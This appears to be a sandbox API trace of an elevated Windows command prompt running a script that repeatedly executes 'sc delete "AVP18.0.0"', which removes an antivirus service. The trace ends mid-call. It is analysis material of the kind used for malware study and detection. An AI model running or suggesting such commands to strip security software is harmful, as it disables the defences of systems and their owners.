MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="\"-x64-9.4\"\n\nA\"\n") returned 1 [0067.153] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.153] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.153] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.153] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="\nx64-9.4\"\n\nA\"\n") returned 1 [0067.153] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.153] GetFileType (hFile=0xb8) returned 0x3 [0067.153] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.153] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.154] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.154] GetFileType (hFile=0x120) returned 0x3 [0067.154] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.154] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"AVP18.0.0\"\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"AVP18.0.0\"\n", lpUsedDefaultChar=0x0) returned 23 [0067.154] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x16, lpOverlapped=0x0) returned 1 [0067.154] GetProcessHeap () returned 0x1b0000 [0067.154] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0067.154] GetProcessHeap () returned 0x1b0000 [0067.154] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0067.154] GetProcessHeap () returned 0x1b0000 [0067.154] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0067.154] GetProcessHeap () returned 0x1b0000 [0067.154] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0067.154] GetProcessHeap () returned 0x1b0000 [0067.154] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x38) returned 0x1c6510 [0067.154] GetConsoleOutputCP () returned 0x1b5 [0067.154] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0067.154] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.154] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.155] GetProcessHeap () returned 0x1b0000 [0067.155] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0067.155] GetProcessHeap () returned 0x1b0000 [0067.155] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3e) returned 0x1caa40 [0067.155] GetProcessHeap () returned 0x1b0000 [0067.155] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cba10 [0067.155] SetErrorMode (uMode=0x0) returned 0x1 [0067.155] SetErrorMode (uMode=0x1) returned 0x0 [0067.155] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cba20, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0067.155] SetErrorMode (uMode=0x1) returned 0x1 [0067.155] GetProcessHeap () returned 0x1b0000 [0067.155] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cba10, Size=0x62) returned 0x1cba10 [0067.155] GetProcessHeap () returned 0x1b0000 [0067.155] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cba10) returned 0x62 [0067.155] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0067.155] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0067.155] GetProcessHeap () returned 0x1b0000 [0067.155] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0067.155] GetProcessHeap () returned 0x1b0000 [0067.155] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0067.155] GetProcessHeap () returned 0x1b0000 [0067.155] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0067.155] GetProcessHeap () returned 0x1b0000 [0067.155] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0067.155] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0067.155] GetProcessHeap () returned 0x1b0000 [0067.156] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0067.156] GetProcessHeap () returned 0x1b0000 [0067.156] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0067.156] GetProcessHeap () returned 0x1b0000 [0067.156] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0067.156] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.156] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.156] GetLastError () returned 0x2 [0067.156] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.156] GetLastError () returned 0x2 [0067.156] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.156] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0067.156] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0067.156] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.157] GetLastError () returned 0x2 [0067.157] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0067.157] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0067.157] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0067.157] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0067.157] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.157] GetProcessHeap () returned 0x1b0000 [0067.157] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0067.157] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.157] GetProcessHeap () returned 0x1b0000 [0067.157] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xa4) returned 0x1c9180 [0067.157] GetProcessHeap () returned 0x1b0000 [0067.157] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xa4 [0067.157] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"AVP18.0.0\"") returned 1 [0067.158] GetProcessHeap () returned 0x1b0000 [0067.158] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0067.158] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0067.158] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0067.158] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0067.158] GetProcessHeap () returned 0x1b0000 [0067.158] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0067.158] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0067.158] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0067.158] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0067.158] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0067.158] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0067.158] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0067.158] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0067.158] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0067.158] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0067.158] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0067.158] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0067.158] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0067.158] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0067.158] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0067.159] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0067.159] GetProcessHeap () returned 0x1b0000 [0067.159] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0067.159] GetProcessHeap () returned 0x1b0000 [0067.159] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0067.159] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"AVP18.0.0\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"AVP18.0.0\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete \"AVP18.0.0\"", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0xad0, dwThreadId=0x858)) returned 1 [0067.164] CloseHandle (hObject=0x54) returned 1 [0067.164] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0067.164] GetProcessHeap () returned 0x1b0000 [0067.164] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0067.164] GetEnvironmentStringsW () returned 0x1d1b10* [0067.164] GetProcessHeap () returned 0x1b0000 [0067.164] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0067.164] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0067.164] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0067.164] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0067.164] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0067.205] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0067.206] CloseHandle (hObject=0x50) returned 1 [0067.206] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0067.206] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0067.206] GetProcessHeap () returned 0x1b0000 [0067.206] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0067.206] GetEnvironmentStringsW () returned 0x1d1b10* [0067.206] GetProcessHeap () returned 0x1b0000 [0067.206] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0067.206] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0067.206] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0067.206] GetProcessHeap () returned 0x1b0000 [0067.206] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0067.206] GetEnvironmentStringsW () returned 0x1d1b10* [0067.206] GetProcessHeap () returned 0x1b0000 [0067.206] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0067.206] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0067.206] GetProcessHeap () returned 0x1b0000 [0067.206] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0067.206] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0067.206] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0067.207] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.207] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0067.207] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.207] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0067.207] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.207] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0067.208] GetConsoleOutputCP () returned 0x1b5 [0067.208] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0067.208] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.208] GetProcessHeap () returned 0x1b0000 [0067.208] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0067.208] GetProcessHeap () returned 0x1b0000 [0067.208] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0067.208] GetProcessHeap () returned 0x1b0000 [0067.208] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0067.208] GetProcessHeap () returned 0x1b0000 [0067.208] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0067.208] GetProcessHeap () returned 0x1b0000 [0067.208] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0067.208] GetProcessHeap () returned 0x1b0000 [0067.208] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0067.208] GetProcessHeap () returned 0x1b0000 [0067.208] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0067.208] GetProcessHeap () returned 0x1b0000 [0067.209] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0067.209] GetProcessHeap () returned 0x1b0000 [0067.209] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0067.209] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0067.209] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.209] GetFileType (hFile=0x120) returned 0x3 [0067.209] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.209] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0067.209] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0067.209] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0067.209] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0067.209] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0067.209] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0067.209] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.209] GetFileType (hFile=0x120) returned 0x3 [0067.209] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.209] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0067.209] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0067.210] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.210] GetFileType (hFile=0xb8) returned 0x3 [0067.210] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.210] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.210] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.210] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.210] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.210] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.210] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.210] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.210] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.210] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.210] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.210] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.210] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.210] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.211] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.211] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.211] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.211] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.211] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.211] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.211] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.211] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.211] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.211] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.211] _get_osfhandle 